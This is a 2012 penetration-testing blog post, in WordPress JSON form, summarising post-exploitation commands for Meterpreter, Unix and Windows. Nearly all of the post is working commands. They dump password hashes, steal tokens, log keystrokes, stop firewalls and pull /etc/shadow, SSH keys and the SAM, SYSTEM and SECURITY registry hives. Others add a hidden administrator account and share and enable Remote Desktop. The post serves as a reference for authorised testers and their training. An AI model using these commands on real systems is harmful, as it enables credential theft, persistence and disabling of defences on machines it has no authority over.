{"id":398,"date":"2012-02-07T17:40:46","date_gmt":"2012-02-07T16:40:46","guid":{"rendered":"https:\/\/www.phillips321.co.uk\/?p=398"},"modified":"2012-02-24T21:51:24","modified_gmt":"2012-02-24T20:51:24","slug":"post-exploit-commands","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2012\/02\/07\/post-exploit-commands\/","title":{"rendered":"Post Exploit Commands"},"content":{"rendered":"

Credit for most of the below comes from Mubix<\/a> who has created a few documents (on google docs) that lists what to actually do once shell access has been gained. You can read more about it here<\/a> and find the links to the docs, I’m simply blogging about it to make a summary of this for myself.<\/p>\n

Meterpreter Post Auth<\/h3>\n

Information Gathering<\/em><\/p>\n

1
2
3
4
5
6
7
8
9
10
<\/div><\/td>
getuid
\ngetpid
\ngetsprivs
\nsysinfo
\nscreenshot
\nrun winenum.rb
\nrun scraper.rb
\nrun checkvm
\nrun credscollect
\nrun get_local_subnets<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Escalating Privs<\/em><\/p>\n

1
2
<\/div><\/td>
ps then migrate
\ngetsystem<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Tokens (use incognito)<\/em><\/p>\n

1
2
3
4
<\/div><\/td>
list_tokens -u
\nimpersonate_token
\nsteal_token [pid]
\nrev2self<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Retrieve Passwords<\/em><\/p>\n

1
2
3
4
<\/div><\/td>
hashdump
\ncachedump
\npost\/windows\/gather\/smart_hashdump
\npost\/windows\/gather\/credentials\/vnc<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Session<\/em><\/p>\n

1
2
3
4
<\/div><\/td>
enumdesktops
\ngetdesktop
\nsetdesktop
\nuictl disable keyboard<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Keylog<\/em><\/p>\n

1
2
3
<\/div><\/td>
keyscan_start
\nkeyscan_dump
\nkeyscan_stop<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Nix Post Auth<\/h3>\n

Disable Firewall<\/em><\/p>\n

1
2
3
4
<\/div><\/td>
\/etc\/init.d\/iptables save
\n\/etc\/init.d\/iptables stop
\niptables-save > \/root\/firewall.rules
\niptables-restore < \/root\/firewall.rules<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Files to pull<\/em><\/p>\n

1
2
3
4
5
<\/div><\/td>
\/etc\/passwd
\n\/etc\/shadow OR \/etc\/security\/shadow (on AIX)
\n\/etc\/groups OR \/etc\/gshadow
\n\/home\/*\/.ssh\/id*
\n\/etc\/sudoers<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

User Information<\/em><\/p>\n

1
2
3
<\/div><\/td>
grep ^ssh \/home\/*\/.*hist*
\ngrep ^telnet `\/home\/*\/.*hist*
\ngrep ^mysql \/home\/*\/.*hist*<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Windows Post Auth<\/h3>\n

Get current logged in user<\/em><\/p>\n

1
<\/div><\/td>
@echo %USERNAME%<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Add user<\/em><\/p>\n

1
2
<\/div><\/td>
net user pentest password \/add
\nnet localgroup administrators pentest \/add<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Add share<\/em><\/p>\n

1
<\/div><\/td>
net share nothing$=C:\\ \/grant:pentest,FULL \/unlimited<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Disable Firewall<\/em><\/p>\n

1
<\/div><\/td>
netsh firewall set opmode disable<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Auto Start Directories<\/em><\/p>\n

1
2
3
4
<\/div><\/td>
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\
\nC:\\Documents And Settings\\All Users\\Start Menu\\Programs\\StartUp\\
\nC:\\wmiOWS\\Start Menu\\Programs\\StartUp\\
\nC:\\WINNT\\Profiles\\All Users\\Start Menu\\Programs\\StartUp\\<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Accounts and Policies<\/em><\/p>\n

1
2
3
<\/div><\/td>
net localgroup administrators OR net localgroup administrators \/domain
\nnet group \u201cDomain Admins\u201d \/domain
\nnet accounts ## or net accounts \/domain<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Files to pull<\/em><\/p>\n

1
2
3
4
5
6
<\/div><\/td>
%SYSTEMROOT%\\repair\\SAM
\n%SYSTEMROOT%\\System32\\config\\RegBack\\SAM
\n%WINDIR%\\repair\\sam OR system OR software OR security
\nreg save HKLM\\Security security.hive
\nreg save HKLM\\System system.hive
\nreg save HKLM\\SAM sam.hive<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Enable Remote Desktop<\/em><\/p>\n

1
<\/div><\/td>
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" \/v fDenyTSConnections \/t REG_DWORD \/d 0 \/f<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Should you wish to have all this useful info (as well as an ascii table) then feel free to use the following wallpaper (1920×1200).
\n\"\"<\/a>
\nOr customize the GIMP XCF file<\/a> yourself.<\/p>\n","protected":false},"excerpt":{"rendered":"

Credit for most of the below comes from Mubix who has created a few documents (on google docs) that lists what to actually do once shell access has been gained. You can read more about it here and find the links to the docs, I’m simply blogging about it to make a summary of this […]<\/p>\n","protected":false},"author":1,"featured_media":394,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,64,4],"tags":[147,146,148,5,47,145,113],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/398"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=398"}],"version-history":[{"count":10,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/398\/revisions"}],"predecessor-version":[{"id":411,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/398\/revisions\/411"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media\/394"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}